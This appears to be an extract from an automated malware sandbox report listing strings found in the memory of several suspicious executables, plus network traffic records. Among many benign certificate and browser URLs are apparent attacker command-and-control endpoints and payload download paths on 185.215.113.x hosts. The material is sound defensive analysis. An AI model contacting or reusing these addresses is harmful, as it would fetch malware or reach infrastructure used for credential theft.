Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpE36
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpM
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpU
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phphq
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000080D000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpion:
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpm&
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpmainnet
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phprofiles
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phprowser
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/ocal
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/ws
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000080D000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.100e2b1563c6670f193.phpion:
Source: explorti.exe, 00000006.00000002.2882067749.0000000001590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: explorti.exe, 00000006.00000002.2882067749.0000000001590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe6522KH
Source: explorti.exe, 00000006.00000002.2882067749.0000000001590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeBH
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/G
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.2882067749.0000000001590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000006.00000002.2882067749.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php26
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php3001
Source: explorti.exe, 00000006.00000002.2882067749.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php53001
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php8
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpAppDataB$
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpHarddiskVolumef
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpL
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpQ
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpT
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpppData
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phps
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpta
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phptch
Source: explorti.exe, 00000006.00000002.2882067749.0000000001590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpz
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#
Source: explorti.exe, 00000006.00000002.2882067749.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ones
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: eb98fe5174.exe, eb98fe5174.exe, 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2668900391.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 8eb30d7f71.exe, 00000009.00000002.2881189935.0000000001531000.00000004.00000020.00020000.00000000.sdmp, 8eb30d7f71.exe, 00000009.00000002.2881189935.0000000001508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.c
Source: data_1.14.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection?placement=88000360&nct=1&fmt=json&ADEFAB=1&OPSYS=WIN10&locale=e
Source: data_1.14.dr	String found in binary or memory: https://azureedge.net
Source: eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Reporting and NEL0.14.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Network Persistent State0.21.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: manifest.json.21.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.21.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: manifest.json0.21.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.21.dr	String found in binary or memory: https://drive.google.com/
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: data_1.14.dr, 000003.log6.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: data_1.14.dr, 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: AAAAECGHCBGCBFHIIDHI.7.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: https://mozilla.org0/
Source: data_1.14.dr	String found in binary or memory: https://msn.com
Source: 8eb30d7f71.exe, 00000009.00000002.2880910734.0000000001330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/passwordC:
Source: HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://support.mozilla.org
Source: HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: eb98fe5174.exe, 00000007.00000003.2483387429.000000001D3C0000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2619375968.0000000000661000.00000040.00000001.01000000.00000009.sdmp, eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: eb98fe5174.exe, 00000007.00000002.2619375968.0000000000661000.00000040.00000001.01000000.00000009.sdmp, eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: eb98fe5174.exe, 00000007.00000002.2619375968.0000000000661000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr, softokn3.dll.7.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: eb98fe5174.exe, 00000007.00000002.2662143008.0000000029431000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHI.7.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: content_new.js.21.dr, content.js.21.dr	String found in binary or memory: https://www.google.com/chrome
Source: eb98fe5174.exe, 00000007.00000003.2494565892.0000000001079000.00000004.00000020.00020000.00000000.sdmp, ECBAEBGH.7.dr, Web Data.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://www.mozilla.org
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: eb98fe5174.exe, 00000007.00000003.2580930474.00000000296D0000.00000004.00000020.00020000.00000000.sdmp, HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: eb98fe5174.exe, 00000007.00000002.2619375968.000000000069C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: eb98fe5174.exe, 00000007.00000003.2580930474.00000000296D0000.00000004.00000020.00020000.00000000.sdmp, HCGCBFHCFCFBFIEBGHJECGHCFI.7.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Top Sites.13.dr, Top Sites.21.dr	String found in binary or memory: https://www.office.com/
Source: Top Sites.13.dr, Top Sites.21.dr	String found in binary or memory: https://www.office.com/Office

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52615
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52619
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52618
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52620
Source: unknown	Network traffic detected: HTTP traffic on port 52615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49783 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 8eb30d7f71.exe, 00000009.00000002.2880216454.00000000005D2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_847ff868-4
